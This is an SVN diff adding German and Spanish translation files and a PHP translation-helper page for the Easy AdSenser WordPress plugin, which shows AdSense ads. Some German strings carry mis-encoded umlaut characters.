+msgid "Support through direct donation."
+msgstr "Support durch direkte Spenden."
+
+#: admin.php:326
+msgid "If you find yourself making a lot of money using this plugin, consider making a donation."
+msgstr "Sollten Sie eine Menge Geld mit diesem Plugin verdienen, denken Sie bitte an eine Spende."
+
+#: admin.php:336
+msgid "Please report any problems. And share your thoughts and comments."
+msgstr "Bitte melden Sie Probleme. Und teilen Sie uns Ihre Meinung und Kommentare mit."
+
+#: admin.php:336
+msgid "Post it in the WordPress forum"
+msgstr "Posten Sie es im WordPress-Forum"
+
+#: admin.php:336
+msgid "[WordPress Forum]"
+msgstr "[WordPress Forum]"
+
+#: admin.php:336
+msgid "Or"
+msgstr "oder"
+
+#: admin.php:336
+msgid "Contact the plugin author through email"
+msgstr "Plugin Autor per Email kontaktieren"
+
+#: admin.php:336
+msgid "[Email Author]"
+msgstr "[Email des Autors]"
+
+#: admin.php:343
+msgid "puts a tiny link below the (first) ad unit it displays like this:"
+msgstr "stellt einen winzigen Link unter dem (ersten) Anzeigenblock dar, der wie folgt aussieht:"
+
+#: admin.php:361
+msgid "Consider leaving it unchanged. If you must suppress it, please use the Link-back options above."
+msgstr "Bitte lassen Sie dies unverÃ€ndert. Wenn Sie den Link dennoch unterdrÃŒcken mÃŒssen, setzten Sie bitte eine RÃŒckverlinkung auf meine Seite."
+
+#: admin.php:365
+msgid "Check out my other plugin efforts:"
+msgstr "Schauen Sie sich bitte auch meine anderen Plugins an:"
+
+#: admin.php:368
+msgid "To modify the color scheme of your themes with no CSS/Stylesheet editing."
+msgstr "Ãndern Sie das Farbschema Ihrer Themes ohne die CSS/Stylesheets Dateien zu bearbeiten."
+
+#: admin.php:371
+msgid "To translate LaTeX formulas like this [math](a+b)^2 = a^2 + b^2 + 2ab[/math] into this:"
+msgstr "Um LaTeX Formeln wie diese: [math](a+b)^2 = a^2 + b^2 + 2ab[/math] zu ÃŒbersetzen in die Folgende:"
+
+#: admin.php:374
+msgid "My lean and mean AdSense plugin. No mess, no fuss."
+msgstr "Meine kleines, schlankes AdSense-Plugin. Kein Chaos, kein Stress."
+
+#: admin.php:384
+msgid "Credits"
+msgstr "Besonderer Dank geht an:"
+
+#: admin.php:388
+msgid "%s uses the excellent Javascript/DHTML tooltips by %s"
+msgstr "%s nutzt die hervorragenden Javascript / DHTML-Tooltips von %s"
+
+#: admin.php:384
+msgid "Future Plans"
+msgstr "PlÃ€ne fÃŒr die Zukunft"
+
+#: admin.php:388
+msgid "Make the Google Link Units widget multi-insertable. [In version 2.0, the Link Units widgets are repeated because I cannot figure out how to do multi-insertable widgets in a neat way.]"
+msgstr "Machen Sie die Google Link-BlÃ¶cke mehrfach-einsetzbar fÃŒr Widgets . [In der Version 2.0, werden die Link-Block Widgets sich wiederholen, denn ich habe bisher noch nicht herausgefuden wie man sie fÃŒr Widgets in einer netten Art und Weise mehrfach-einsetzbar machen kann.]"
+
+#: admin.php:391
+msgid "Enable ad blocks in category view (User request)."
+msgstr "Aktivieren Sie die AdSense BlÃ¶cke in der Kategorie Ansicht (Nutzer Anfrage)."
+
+#: admin.php:394
+msgid "Release translated versions of the plugin. (Need your help!)"
+msgstr "VerÃ¶ffentlichen Sie ÃŒbersetzte Versionen des Plugins. (Wir brauchen Ihre Hilfe!)"
+
+#: easy-adsenser.php:242
+msgid "Settings Updated."
+msgstr "Einstellungen aktualisiert."
+
+#: easy-adsenser.php:249
+msgid "Ok, all your settings have been discarded!"
+msgstr "Ok, alle Ihre Einstellungen wurden verworfen!"
+
+#: easy-adsenser.php:269
+msgid "Database has been cleaned. All your options for this plugin (for all themes) have been removed."
+msgstr "Datenbank wurde gesÃ€ubert. Alle Einstellungen fÃŒr dieses Plugin (fÃŒr alle Themes) wurden entfernt."
+
+#: easy-adsenser.php:275
+msgid "This plugin has been deactivated."
+msgstr "Dieses Plugin wurde deaktiviert."
+
+#: easy-adsenser.php:276
+msgid "Refresh"
+msgstr "Aktualisieren"
+
+#: easy-adsenser.php:286
+msgid ""
+"Error locating the admin page!\n"
+"Ensure admin.php exists, or reinstall the plugin."
+msgstr ""
+"Fehler beim lokalisieren der Admin-Seite!\n"
+"
+Stellen Sie sicher das die admin.php vorhanden ist, oder installieren Sie das Plugin erneut."
+
+#: easy-adsenser.php:304
+msgid "Settings"
+msgstr "Einstellungen"
+
+#: easy-adsenser.php:472
+msgid "Sponsored Links"
+msgstr "Gesponsorte Links"
+
+#: easy-adsenser.php:551
+msgid "Easy AdSenser: Show a Google AdSense block in your sidebar as a widget"
+msgstr "Easy AdSenser: Stelle einen Google AdSense-Block in der Sidebar als Widget dar"
+
+#: easy-adsenser.php:556
+msgid "Easy AdSenser: Show a Google Search Box in your sidebar as a widget"
+msgstr "Easy AdSenser: Stelle ein Google-Suchfeld in der Sidebar als Widget dar"
+
+#: easy-adsenser.php:600
+msgid "Easy AdSenser: Show a Google Links Unit in your sidebar as a widget"
+msgstr "Easy AdSenser: Stelle eine Google Links-Einheit in Ihrer Sidebar als Widget dar"
+
+#. Plugin Name of an extension
+msgid "Easy AdSenser"
+msgstr "Easy AdSenser"
+
+#. Plugin URI of an extension
+msgid "http://www.thulasidas.com/adsense"
+msgstr "http://www.thulasidas.com/adsense"
+
+#. Description of an extension
+msgid "Easiest way to show AdSense and make money from your blog. Configure it at <a href=\"options-general.php?page=easy-adsenser.php\">Settings &rarr; Easy AdSenser</a>, or use the \"Settings\" link on the right."
+msgstr "Der einfachste Weg AdSense zu installieren und Geld mit Ihrem Blog zu verdienen. Konfigurieren Sie unter <a href=\"options-general.php?page=easy-adsenser.php\">Einstellungen &rarr; Easy AdSenser</a>, oder nutzen Sie den \"Einstellungen\" Link auf der linken Seite."
+
+#. Author of an extension
+msgid "Manoj Thulasidas"
+msgstr "Manoj Thulasidas"
+
+#. Author URI of an extension
+msgid "http://www.thulasidas.com"
+msgstr "http://www.thulasidas.com"
+
+### FOR AdSense Now! ##########################################################
+#: admin.php:96
+msgid "Suppress"
+msgstr "Ausblenden"
+
+#: admin.php:98
+msgid "Top"
+msgstr "Oben"
+
+#: admin.php:109
+msgid "Middle"
+msgstr "Mittig"
+
+#: admin.php:120
+msgid "Bottom"
+msgstr "Unten"
+
+#: admin.php:214
+msgid "A complete solution for everything AdSense releated."
+msgstr "Eine komplette LÃ¶sung alles was mit AdSense zusammenhÃ€ngt."
+
+#: admin.php:215
+msgid "If you feel that you need more features (sidebar widgets, link units, Google searchbox etc.), consider my all-in-one plugin"
+msgstr "Wenn Sie der Meinung sind, dass Sie mehr Features (Sidebar-Widgets, Link-BlÃ¶cke, Google-Suchfeld usw.), nutzen Sie mein all-in-one-Plugin"
+
+#. Plugin Name of an extension
+msgid "AdSense Now!"
+msgstr "AdSense Now!"
+
+#. Description of an extension
+msgid "Get started with AdSense now, and make money from your blog. Configure it at <a href=\"options-general.php?page=adsense-now.php\">Settings &rarr; AdSense Now!</a>, or use the \"Settings\" link on the right."
+msgstr "Starten Sie jetzt mit AdSense und verdienen Sie Geld mit Ihrem Blog. Konfigurieren Sie alles unter <a href=\"options-general.php?page=adsense-now.php\">Einstellungen &rarr; AdSense Now!</a>, oder klicken Sie den \"Einstellungen\" Link auf der linken Seite."
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/easy-adsenser/lang/easy-translator.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/easy-adsenser/lang/easy-translator.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/easy-adsenser/lang/easy-translator.php	(revision 44)
@@ -0,0 +1,328 @@
+<?php
+/*
+Description: Companion file to translate <em>Easy AdSense</em>.
+*/
+
+/*
+Copyright (C) 2008 www.thulasidas.com
+
+This program is free software; you can redistribute it and/or modify
+it under the terms of the GNU General Public License as published by
+the Free Software Foundation; either version 3 of the License, or
+(at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with this program.  If not, see <http://www.gnu.org/licenses/>.
+*/
+
+define('minmatch', 89) ;
+
+if (!class_exists("ezTran") && !class_exists("PO")) {
+  class PO { // an id-str pair with attributes
+    var $num, $id, $str, $tranId, $tranVal, $keyId, $keyVal ;
+
+    function PO($id, $str) {
+      $this->id = (string) $id ;
+      $this->str = (string) $str ;
+      $this->tranVal = minmatch ;
+      $this->keyVal = minmatch ;
+    }
+
+    // Returns a text-area string of the Id
+    function textId() {
+      $ht = round(strlen($this->id)/52 + 1) * 25 ;
+      $col = 'background-color:#f5f5f5;' ;
+      if ($this->keyVal > minmatch+1) {
+        $col = "background-color:#ffc;border: solid 1px #f00" ;
+        $tit = 'onmouseover = "Tip(\'Another similar string: ' .
+          htmlspecialchars('<br /><em><b>' . addcslashes($this->keyId, "\n") .
+                           '</b></em><br /> ', ENT_QUOTES) .
+          'exists. Please alert the author.\',WIDTH, 300)" ' .
+          'onmouseout="UnTip()"';
+      }
+      $s = '<textarea cols="50" rows="15" name="k' . $this->num .
+        '" style="width: 45%;height:' . $ht . 'px;' . $col . '" ' .
+        $tit . ' readonly="readonly">';
+      $s .= htmlspecialchars($this->id, ENT_QUOTES) ;
+      $s .= '</textarea>&nbsp;&nbsp;' ;
+      return $s ;
+    }
+
+    function textStr() {
+      $ht = round(strlen($this->id)/52 + 1) * 25 ;
+      if ($this->tranVal > minmatch+1){
+        $col = "background-color:#fdd;border: solid 1px #f00" ;
+        $tit = 'onmouseover = "Tip(\'Using the translation for a similar string: ' .
+          htmlspecialchars('<br /><em><b>' . addcslashes($this->tranId, "\n") .
+                           '</b></em><br />', ENT_QUOTES) .
+          'Please check carefully.\',WIDTH, 300)" ' .
+          'onmouseout="UnTip()"';
+      }
+      $s =  '<textarea cols="50" rows="15" name="' . $this->num .
+        '" style="width: 45%;height:' . $ht . 'px;' . $col. '" ' .
+        $tit . '>';
+      $s .=  htmlspecialchars($this->str, ENT_QUOTES) ;
+      $s .= '</textarea><br />' ;
+      return $s ;
+    }
+  }
+
+  class ezTran {
+    var $status, $error ;
+    function ezTran()
+    {
+      $this->status = '' ;
+      $this->error = '' ;
+      if ($_POST['savePot']) {
+        $file = $_POST['potFile'] ;
+        $str = $_POST['potStr'] ;
+        header('Content-Disposition: attachment; filename="' . $file .'"');
+        header("Content-Transfer-Encoding: ascii");
+        header('Expires: 0');
+        header('Pragma: no-cache');
+        ob_start() ;
+        print stripslashes(htmlspecialchars_decode($str, ENT_QUOTES)) ;
+        ob_end_flush() ;
+        $this->status = '<div class="updated">Pot file: ' . $file . ' was saved.</div> ' ;
+        exit(0) ;
+      }
+      if ($_POST['mailPot']) {
+        if (!class_exists("phpmailer")) {
+          require_once(ABSPATH.'wp-includes/class-phpmailer.php');
+        }
+        $mail = new PHPMailer();
+        $mail->From = get_bloginfo('admin_email') ;
+        $mail->FromName = get_bloginfo('name') ;
+        $mail->AddAddress('Manoj@Thulasidas.com', "Manoj Thulasidas") ;
+        $mail->CharSet = get_bloginfo('charset');
+        $mail->Mailer = 'php';
+        $mail->SMTPAuth = false;
+        $mail->Subject = $file;
+        $file = $_POST['potFile'] ;
+        $str = stripslashes($_POST['potStr']) ;
+        $str = str_replace("\'", "'", $str) ;
+        $mail->AddStringAttachment($str,$file) ;
+        $pos1 = strpos($str, "msgstr") ;
+        $pos2 = strpos($str, "msgid", $pos1) ;
+        $head = substr($str, 0, $pos2) ;
+        $mail->Body = $head ;
+        if ($mail->Send())
+          $this->status = '<div class="updated">Pot file: ' . $file . ' was sent.</div> ' ;
+        else
+          $this->error = '<div class="error">Error: ' . $mail->ErrorInfo . '</div>' ;
+      }
+    }
+
+    // Return the contents of all PHP files in the dir specified
+    function getFileContents($dir="") {
+      if ($dir == "") $dir = dirname(__FILE__) ;
+      $files = glob($dir . '/*.php') ;
+      $page = "" ;
+      foreach ($files as $f) {
+        $page .= file_get_contents($f, FILE_IGNORE_NEW_LINES) ;
+      }
+      return $page ;
+    }
+
+    // Percentage Levenshtein distance
+    function levDist(&$s1, &$s2) {
+      similar_text($s1, $s2, $p) ;
+      return round($p) ;
+    }
+
+    // Get the closest existing translation keys, and the recursivley closest in the
+    // key set
+    function getClose(&$mo, &$POs){
+      foreach ($POs as $n => $po){
+        $s1 = $po->id ;
+        $l1 = strlen($s1);
+        if (strlen($po->str) == 0) {
+          if (!empty($mo)) foreach ($mo as $mn => $mk) {
+            $s2 = $mn ;
+            $result = $this->levDist($s1, $s2) ;
+            if ($result > $po->tranVal) {
+              $po->tranVal = $result ;
+              $po->tranId = $mn ;
+              $po->str = $mk->translations[0] ;
+            }
+          }
+        }
+        foreach ($POs as $n2 => $po2){
+          if ($n != $n2){
+            $s2 = $po2->id ;
+            $result = $this->levDist($s1, $s2) ;
+            if ($result > $po2->keyVal) {
+              $po->keyVal = $result ;
+              $po->keyId = $po2->id ;
+              $po2->keyVal = $result ;
+              $po2->keyId = $po->id ;
+            }
+          }
+        }
+      }
+    }
+
+    // Get the strings that look like translation keys
+    function getTranPOs(&$contents, &$mo, $domain, &$POs) {
+      preg_match_all("#_[_e].*\([\'\"](.+)[\'\"]\s*,\s*[\'\"]" . $domain ."[\'\"]#",
+                     $contents, $matches) ;
+      $keys = array_unique($matches[1]) ;
+      $keys = str_replace(array("\'", '\"', '\n'), array("'", '"', "\n"), $keys) ;
+      foreach ($keys as $n => $k) {
+        $v = $mo[$k] ;
+        $t = $v->translations[0] ;
+        $po = new PO($k, $t) ;
+        $po->num = $n ;
+        array_push($POs, $po) ;
+      }
+      $this->getClose($mo, $POs) ;
+    }
+
+    // Make a POT string from ids and msgs
+    function mkPot(&$POs, $msg){
+      $pot = '' ;
+      $pot .=
+'# This file was generated by Easy Translator -- a WordPress plugin translator
+# Your Name: ' . $msg["name"] . '
+# Your Email: ' . $msg["email"] . '
+# Your Website: ' . $msg["blog"] . '
+# Your URL: ' . $msg["url"] . '
+# Your Locale: ' . $msg["locale"] . '
+# Your Language: ' . $msg["lang"] . '
+#, fuzzy
+msgid ""
+msgstr ""
+"Project-Id-Version: Easy AdSenser\n"
+"PO-Revision-Date: ' . current_time('mysql') . '\n"
+"Last-Translator: ' . $msg['name'] . ' <' . $msg['email'] . '>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=' . $msg['charset'] . '\n"
+"Content-Transfer-Encoding: 8bit\n"
+
+' ;
+      foreach ($POs as $n => $po) {
+        $pot .= "msgid " . '"' . addcslashes($po->id, "\n\r\"") . '"' . "\n" ;
+        $t = $msg[$po->num] ;
+        $pot .= "msgstr " . '"' . addcslashes($t, "\n\r") . '"' . "\n\n" ;
+      }
+      return $pot ;
+    }
+
+    // Prints out the admin page
+    function printAdminPage() {
+      $locale = get_locale();
+      $made = isset($_POST['make']) ;
+      $saving = isset($_POST['save']) ;
+
+?>
+<h2>Easy Translator</h2>
+<p>
+<strong><a href="options-general.php?page=easy-adsenser.php"><em>Easy AdSense</em></a> Translation Interface</strong>
+</p>
+<?php
+
+      global $l10n;
+      $domain = 'easy-adsenser' ;
+      $version = (float)get_bloginfo('version') ;
+      if ($version < 2.80) {
+        echo '<div class="error"><p><b>Error</b>:' .
+          'Sorry, Easy Translator works only on WP2.8+</p></div>' ;
+        return ;
+      }
+
+      $mo = array($l10n[$domain]->entries) ;
+
+      $s = $this->getFileContents() ;
+      $parent = dirname(__FILE__) . '/..' ;
+      $s .= $this->getFileContents($parent) ;
+
+      $POs = array() ;
+
+      $this->getTranPOs($s, $mo[0], $domain, $POs) ;
+
+      if ($made) {
+        $pot = htmlspecialchars($this->mkPot($POs, $_POST), ENT_QUOTES) ;
+      }
+      else {
+        global $current_user;
+        get_currentuserinfo();
+        $pot = '' ;
+        $pot .= '<div style="width: 15%; float:left">Your Name:</div>' .
+          '<input type="text" style="width: 30%" name="name" value="' .
+          $current_user->user_firstname . " " .
+          $current_user->user_lastname . '" /><br />' . "\n" ;
+        $pot .= '<div style="width: 15%; float:left">Your Email:</div>' .
+          '<input type="text" style="width: 30%" name="email" value="' .
+          $current_user->user_email . '" /><br />' . "\n" ;
+        $pot .= '<div style="width: 15%; float:left">Your Website:</div>' .
+          '<input type="text" style="width: 30%" name="blog" value="' .
+          get_bloginfo('blog') . '" />' . "\n<br />" ;
+        $pot .= '<div style="width: 15%; float:left">Your URL:</div>' .
+          '<input type="text" style="width: 30%" name="url" value="' .
+          get_bloginfo('url') . '" />' . "\n<br />" ;
+        $pot .= '<div style="width: 15%; float:left">Your Locale:</div>' .
+          '<input type="text" style="width: 30%" name="locale" value="' .
+          $locale . '" /><br />' . "\n" ;
+        $pot .= '<div style="width: 15%; float:left">Your Language:</div>' .
+          '<input type="text" style="width: 30%" name="lang" value="' .
+          get_bloginfo('language') . '" /><br />' . "\n" ;
+        $pot .= '<div style="width: 15%; float:left">Character Set:</div>' .
+          '<input type="text" style="width: 30%" name="charset" value="' .
+          get_bloginfo('charset') . '" />' . "\n<br /><br />" ;
+
+        $pot .= '<div style="width:800px;padding:10px;padding-top:25px"></div>' ;
+        $pot .= '<div style="width:38%px;paddling:10px;padding-left:100px;float:left">' .
+          '<b>English (en_US)</b></div>' ;
+        $pot .= '<div style="width:38%;paddling:10px;padding-left:80px;float:right">' .
+          '<b>Your Language (' . $locale . ')</b></div>' ;
+        $pot .= '<div style="width:100%;padding:15px"></div>' ;
+
+        foreach ($POs as $n => $po) {
+          $pot .= $po->textId() . "\n" . $po->textStr() . "\n\n" ;
+        }
+      }
+      $makeStr =
+'<div class="submit">
+<input type="submit" name="make" value="Display POT File" title="Make a POT file with the translation strings below and display it" />&nbsp;
+</div>' . $this->status . $this->error ;
+      $saveStr =
+'<div class="submit">
+<input type="submit" name="savePot" value="Save POT file" title="Saves the strings shown below to your PC as a POT file" />&nbsp;
+<input type="submit" name="mailPot" value="Mail POT file" title="Email the translation to the plugin autor" />&nbsp;
+<input type="button" name="editMore" value="Edit More" title="If you are not happy with the strings, edit it further" onclick="history.go(-1)"/>
+</div>' . $this->status . $this->error  ;
+      if ($made) {
+?>
+<div style="background-color:#eef;border: solid 1px #005;padding:5px">
+If you are happy with the POT file as below, please save it or email it to the author.
+If not, edit it further.
+</div>
+<?php
+        echo '<input type="hidden" name="potFile" value="' .
+              $domain . "-" . $locale . '.po" />' ;
+        echo '<input type="hidden" name="potStr" value="' . $pot . '" />' ;
+        echo $saveStr ;
+        echo  "\n" . '<pre>' . $pot . '</pre>' ;
+      }
+      else
+      {
+?>
+<div style="background-color:#eef;border: solid 1px #005;padding:5px">
+Add or modify translation for your language <b><?php echo $locale ?></b>.
+<br />
+Enter the translated strings in the text boxes below and hit the "Display POT File" button.
+</div>
+<?php
+         echo $makeStr ;
+         echo $pot ;
+       }
+    } // End function printAdminPage()
+  }
+} // End Class ezTran
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/easy-adsenser/lang/es_ES/easy-adsenser.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/easy-adsenser/lang/es_ES/easy-adsenser.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/easy-adsenser/lang/es_ES/easy-adsenser.po	(revision 44)
@@ -0,0 +1,449 @@
+# SOME DESCRIPTIVE TITLE.
+# Copyright (C) YEAR Manoj Thulasidas
+# This file is distributed under the same license as the PACKAGE package.
+# FIRST AUTHOR <EMAIL@ADDRESS>, YEAR.
+#
+#, fuzzy
+msgid ""
+msgstr ""
+"Project-Id-Version: PACKAGE VERSION\n"
+"Report-Msgid-Bugs-To: http://wordpress.org/tag/easy-adsenser\n"
+"POT-Creation-Date: 2009-03-26 23:25+0000\n"
+"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
+"Last-Translator: Maikel Fr&iacute;as <mas@maikeladas.es>\n"
+"Language-Team: LANGUAGE <LL@li.org>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=CHARSET\n"
+"Content-Transfer-Encoding: 8bit\n"
+
+#: admin.php:6
+msgid "Instructions"
+msgstr "Instrucciones"
+
+#: admin.php:12
+msgid ""
+"Generate AdSense code (from http://adsense.google.com &rarr; AdSense Setup &rarr; "
+"Get Ads)."
+msgstr ""
+"Generar c&oacute;digo AdSense (desde http://adsense.google.com &rarr; Configuraci&oacute;n AdSense &rarr; "
+"Obtener Ads)."
+
+#: admin.php:17
+msgid ""
+"Cut and paste the AdSense code into the boxes below, deleting the existing "
+"text."
+msgstr ""
+"Cortar y pegar el c&oacute;digo AdSense en las cajas de texto borrando el existente."
+
+#: admin.php:22
+msgid "Decide how to align and show the code in your blog posts."
+msgstr "Decide como quieres alinear y mostrar el c&oacute;digo en las entradas de tu blog"
+
+#: admin.php:27
+msgid ""
+"Take a look at the Google policy option, and other options. The defaults "
+"should work."
+msgstr ""
+"Echa un vistazo a las pol&iacute;ticasde Google y otras opciones. Las predeterminadas deber&iacute;an funcionar."
+
+#: admin.php:32
+msgid "Save the options, and you are done!"
+msgstr "&iexcl;Guarda los cambios y ya est&aacute; listo!"
+
+#: admin.php:37
+#, php-format
+msgid ""
+"If you want to use the widgets, drag and drop them at %s Appearance (or "
+"Design) &rarr; Widgets %s"
+msgstr ""
+"Si quieres usar los widgets, arrastra y suelta en %s Aspecto &rarr; Widgets %s"
+
+#: admin.php:42
+#, php-format
+msgid "Need to control ad blocks on each post?"
+msgstr "&iquest;Necesitas controlar cada bloque de publicidad en cada entrada?"
+
+#: admin.php:51
+#, php-format
+msgid "Options (for the %s theme)"
+msgstr "Opciones (para el tema %s)"
+
+#: admin.php:64
+msgid "Ad Blocks in Your Posts"
+msgstr "Agrega bloques de publicidad en tus entradas"
+
+#: admin.php:65
+msgid "[Appears in your posts and pages]"
+msgstr "[Aparece en tus entradas y p&aacute;ginas]"
+
+#: admin.php:75
+msgid "Widgets for Your Sidebars"
+msgstr "Widgets para tus barras laterales"
+
+#: admin.php:76
+msgid ""
+"[See <a href=\"widgets.php\"> Appearance (or Design) &rarr; Widgets</a>]"
+msgstr ""
+"[V&eacute; a <a href=\"widgets.php\">Aspecto &rarr; Widgets</a>]"
+
+#: admin.php:90
+msgid "Lead-in AdSense Text"
+msgstr "AdSense del inicio"
+
+#: admin.php:91
+msgid "(Appears near the beginning of the post)"
+msgstr "(Aparece cerca del inicio de la entrada)"
+
+#: admin.php:94 admin.php:109 admin.php:124 admin.php:164 admin.php:180
+msgid "Ad Alignment"
+msgstr "Alineaci&oacute;n de la publicidad"
+
+#: admin.php:95 admin.php:110 admin.php:125 admin.php:165 admin.php:181
+msgid "(Where to show?)"
+msgstr "(&iquest;Donde lo mostramos?)"
+
+#: admin.php:97 admin.php:112 admin.php:127 admin.php:167 admin.php:183
+msgid "Align Left"
+msgstr "Izquierda"
+
+#: admin.php:98 admin.php:113 admin.php:128 admin.php:168 admin.php:184
+msgid "Center"
+msgstr "Centro"
+
+#: admin.php:99 admin.php:114 admin.php:129 admin.php:169 admin.php:185
+msgid "Align Right"
+msgstr "Derecha"
+
+#: admin.php:100
+msgid "Suppress Lead-in Ad"
+msgstr "Suprimir Ad de Entrada"
+
+#: admin.php:105
+msgid "Mid-Post AdSense Text"
+msgstr "Texto Adsense en medio de la entrada"
+
+#: admin.php:106
+msgid "(Appears near the middle of the post)"
+msgstr "(Aparece cerca de la mitad de la entrada)"
+
+#: admin.php:115
+msgid "Suppress Mid-post Ad"
+msgstr "Suprimir Ad del Centro"
+
+#: admin.php:120
+msgid "Post Lead-out AdSense Text"
+msgstr "Texo Adsense del final de la entrada)"
+
+#: admin.php:121
+msgid "(Appears near the end of the post)"
+msgstr "Aparece cerca del final de la entrada)"
+
+#: admin.php:130
+msgid "Suppress Lead-out Ad"
+msgstr "Suprimir Ad del final)"
+
+#: admin.php:138
+msgid "Option on Google Policy"
+msgstr "Opciones de la pol&iacute;tica de google"
+
+#: admin.php:139
+msgid ""
+"(Google policy allows no more than three ad blocks and three link units per "
+"page)"
+msgstr ""
+"(La pol&iacute;tica de google permite no m&aacute;s de tres bloques y tres enlaces por p&aacute;gina"
+
+#: admin.php:142
+msgid "Three ad blocks (including the side bar widget, if enabled)."
+msgstr "Tres bloques de publicidad (Incluyendo el widget lateral, si est&aacute; activado)."
+
+#: admin.php:143
+msgid "Two ad blocks."
+msgstr "Dos bloques."
+
+#: admin.php:144
+msgid "One ad block."
+msgstr "Un bloque"
+
+#: admin.php:145
+msgid "No ad blocks in posts."
+msgstr "Sin publicidad en las entradas"
+
+#: admin.php:146
+msgid "Any number of ad blocks (At your own risk!)"
+msgstr "Cualquier n&uacute;mero de bloques de publicidad (bajo tu propio riesgo)"
+
+#: admin.php:148
+msgid "Number of Link Units widgets (&le; 3) [Google serves only three]:"
+msgstr "Cantidad de Widgets de Unidades de Enlace (&le; 3) [Google perm&iacute;te hasta tres]:"
+
+
+#: admin.php:160
+msgid "AdSense Widget Text"
+msgstr "Texto Adsense para los widgets"
+
+#: admin.php:161
+msgid "(Appears in the Sidebar as a Widget)"
+msgstr "(Aparecer como un Widget en la barra lateral)"
+
+#: admin.php:170
+msgid "Suppress Widget"
+msgstr "Eliminar Widget"
+
+#: admin.php:171
+msgid "Widget Title:"
+msgstr "T&iacute;tulo de Widget:"
+
+#: admin.php:176
+msgid "AdSense Link-Units Text"
+msgstr "Texto de las Unidades de Enlace de AdSense"
+
+#: admin.php:177
+msgid "(Appears in the Sidebar as  Widgets)"
+msgstr "(Aparece como un Widget en la barra lateral)"
+
+#: admin.php:186
+msgid "Suppress Link Units"
+msgstr "Eliminar Unidades de Enlace"
+
+#: admin.php:187
+msgid "Link Unit Title:"
+msgstr "T&iacute;tulo de la Unidad de Enlace:"
+
+#: admin.php:192
+msgid "Google Search Widget"
+msgstr "Widget de b&uacute;squedas Google"
+
+#: admin.php:193
+msgid "(Adds a Google Search Box to your sidebar)"
+msgstr "(Agrega una barra de b&uacute;squedas Google en la barra lateral)"
+
+#: admin.php:196
+msgid "Search Title"
+msgstr "T&iacute;tulo de la b&uacute;squeda"
+
+#: admin.php:197
+msgid "(Title of the Google Search Widget)"
+msgstr "(Titulo del Widget de b&uacute;squedas Google)"
+
+#: admin.php:201
+msgid "Suppress Search Box"
+msgstr "Quitar caja de b&uacute;squeda"
+
+#: admin.php:202
+msgid "Custom Title:"
+msgstr "T&iacute;tulo Modificado:"
+
+#: admin.php:210
+msgid "Other Options"
+msgstr "Otras Opciones"
+
+#: admin.php:212
+msgid ""
+"Allow ad blocks in feeds. [Please report any problems with this option.]"
+msgstr  ""
+"Permitir bloques de publicidades en los feeds. [Por favor informa de cualquier problema con esta opci&oacute;n.]"
+
+#: admin.php:213
+msgid "Prioritize sidebar widget. (Always shows the widget, if enabled.)"
+msgstr "Dar prioridad al widget de la barra lateral. (Siempre mostrarlo, si se encuentra habilitada)"
+
+#: admin.php:214
+msgid "Force mid-text ad (if enabled) even in short posts."
+msgstr "Forzar la publicidad en el centro del texto (si est&aacute; habilitado) incluso en entradas cortas"
+
+#: admin.php:216
+msgid "Link-backs to"
+msgstr "Enlaces hacia"
+
+#: admin.php:217
+msgid "(Consider showing at least one link.)"
+msgstr "(Por favor considera mostrar aunque sea un enlace)"
+
+#: admin.php:219
+msgid "Show a link under every ad block."
+msgstr "Mostrar un enlace abajo de cada bloque de publicidad"
+
+#: admin.php:220
+msgid "Show the link only under the first ad block."
+msgstr "Mostrar enlace solamente debajo del primer bloque de publicidad"
+
+#: admin.php:221
+msgid "Show the link at the bottom of your blog page."
+msgstr "Mostrar el enlace al final de la p&aacute;gina del blog"
+
+#: admin.php:222
+msgid "Show no links to my blog anywhere (Are you sure?!)"
+msgstr "No mostrar ning&uacute;n enlace a mi blog (&iexcl;&iquest;Est&aacute;s seguro?!)"
+
+#: admin.php:232
+msgid "Save Changes"
+msgstr "Guardar cambios"
+
+#: admin.php:232
+msgid "Save the changes as specified above"
+msgstr "Guardar los cambios que especifiqu&eacute; arriba"
+
+#: admin.php:233
+msgid "Reset Options"
+msgstr "Reiniciar las opciones"
+
+#: admin.php:233
+msgid "Discard all your changes and load defaults. (Are you quite sure?)"
+msgstr "Descartar todos los cambios y cargar predeterminados. (&iquest;Est&aacute;s seguro?)"
+
+#: admin.php:233
+msgid ""
+"This <b>Reset Options</b> button discards all your changes and loads the "
+"default options. This is your only warning!"
+msgstr "Este E de <b>Reiniciar las opciones</b> descarta todos los cambios hechos por t&iacute; y carga las opciones predeterminadas. &iexcl;Esta es tu &uacute;nico aviso!"
+
+#: admin.php:240
+msgid "Support Easy AdSenser"
+msgstr "Contribu&iacute;r con Easy AdSenser"
+
+#: admin.php:245
+msgid "If you would like to support my efforts, please visit (and link-back to) my blog"
+msgstr "Si te gustar&iacute;a contribuir a mis esfuerzos, por favor visita mi blog"
+
+#: admin.php:248
+msgid "If you like the content and style of my blog,"
+msgstr "Si te gust&oacute; el contenido y estilo de mi blog,"
+
+msgid "consider buying my book"
+msgstr ""
+
+#: admin.php:251
+msgid "puts a tiny link below the (first) ad unit it displays like this:"
+msgstr "a&ntilde;ade un peque&ntilde;o enlace abajo de la primera publicidad y se muestra de esta manera:"
+
+#: admin.php:269
+msgid ""
+"Consider leaving it unchanged. If you must suppress it, please use the Link-"
+"back options above."
+msgstr "Considera dejarlo sin cambios. Si quieres suprimirlo, por favor utiliza el bot&oacute;n de opci&oacute;n arriba."
+
+#: admin.php:273
+msgid "Please report any problems. And share your thoughts and comments."
+msgstr "Por favor informa de cualquier problema. E informa de cualquier cr&iacute;tica o comentario."
+
+#: admin.php:273
+msgid "Post it in the WordPress forum"
+msgstr "Post&eacute;alo en el foro de WordPress"
+
+#: admin.php:273
+msgid "[WordPress Forum]"
+msgstr "[Foro de WordPress]"
+
